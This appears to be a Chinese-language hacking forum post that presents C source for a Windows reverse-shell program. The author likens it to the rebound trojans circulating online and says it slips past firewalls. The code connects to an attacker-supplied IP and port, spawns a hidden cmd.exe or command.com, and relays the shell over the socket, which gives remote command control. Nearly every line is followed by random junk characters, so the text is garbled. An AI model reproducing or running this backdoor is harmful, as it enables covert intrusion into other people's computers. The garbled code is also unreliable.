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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s7UhC.>'@  
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/* ============================== we H@S  
Rebound port in Windows NT cpF1XpvT  
By wind,2006/7 -|k&L}\OB0  
===============================*/ S4{Mu(^xT  
#include %];h|[ax]  
#include 1 ~B<  
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#pragma comment(lib,"wsock32.lib") FUzMc1zy|  
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void OutputShell(); ?LV-W  
SOCKET sClient; _/N'I7g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LpiHoavv  
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void main(int argc,char **argv) #E$Z[G]  
{ _']%qd"%  
WSADATA stWsaData; 35%[D Ukb  
int nRet; N)vk0IM!  
SOCKADDR_IN stSaiClient,stSaiServer; ~3'OiIw1@  
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if(argc != 3) e$ XY\{  
{  zU4V^N'  
printf("Useage:\n\rRebound DestIP DestPort\n"); Mg a@JA"  
return; 'Ffy8z{&3  
} d Y:|Ef|v(  
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WSAStartup(MAKEWORD(2,2),&stWsaData); KTLbqSS\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {w |dM#  
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stSaiClient.sin_family = AF_INET; _X,[]+ziu%  
stSaiClient.sin_port = htons(0); HvqF@/xh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EI=Naq  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FUyB"-<  
{ &*G5J7%w  
printf("Bind Socket Failed!\n"); |b$>68:  
return; tp6csS,  
} N"Qg\PS_  
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stSaiServer.sin_family = AF_INET; eq@am(#&kY  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W.#}q K" q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G%P>A g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,]PyDq6  
{ %1-K);S J  
printf("Connect Error!"); :mXGIRi  
return; :jt;EzCLg%  
} 3d*&':  
OutputShell(); | ((1V^  
} T~i%j@Q.6  
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void OutputShell() X(Y#9N"  
{ P"(z jG9-  
char szBuff[1024]; 3I9T|wQ-]  
SECURITY_ATTRIBUTES stSecurityAttributes; oUJj5iu}  
OSVERSIONINFO stOsversionInfo; <*s"e)XeqF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^[{`q9A#d  
STARTUPINFO stStartupInfo;  G"o!}  
char *szShell; {fGd:2dh  
PROCESS_INFORMATION stProcessInformation; \H Wcd|  
unsigned long lBytesRead; EJf#f  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YSR mt/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Awu$g.  
stSecurityAttributes.lpSecurityDescriptor = 0; S  ~@r  
stSecurityAttributes.bInheritHandle = TRUE; ]pW86L%  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tub1S v>J  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "w}-?:# j  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Nls83 W  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E,{GU  
stStartupInfo.wShowWindow = SW_HIDE; -PNi^ K_  
stStartupInfo.hStdInput = hReadPipe; )y9;OA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wP[xmO-%  
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GetVersionEx(&stOsversionInfo); A /q2g7My  
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switch(stOsversionInfo.dwPlatformId) Z[",$Lt  
{ 21r= = H$  
case 1: T vrk^!  
szShell = "command.com"; 2O eshkE  
break; K(<$.  
default: 8zhBA9Y#~  
szShell = "cmd.exe"; "-w ^D!C  
break; rRB~=J"  
} Og,Y)a;=  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kOw=c Gt  
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send(sClient,szMsg,77,0); AY#wVy  
while(1) b2N6L2~V  
{ 6X/wd k  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yL0f1nS  
if(lBytesRead) f|OI`  
{ RFw(]o,9cR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z&_y0W=t  
send(sClient,szBuff,lBytesRead,0); PK_s#uC  
} !c%  
else t/}L36@+  
{ l , ..5   
lBytesRead=recv(sClient,szBuff,1024,0); qu_)`wB  
if(lBytesRead<=0) break; $@_{p*q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 93j{.0]X  
} I%oRvg|q  
} |,b2b2v ?  
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return; \V,c]I   
}
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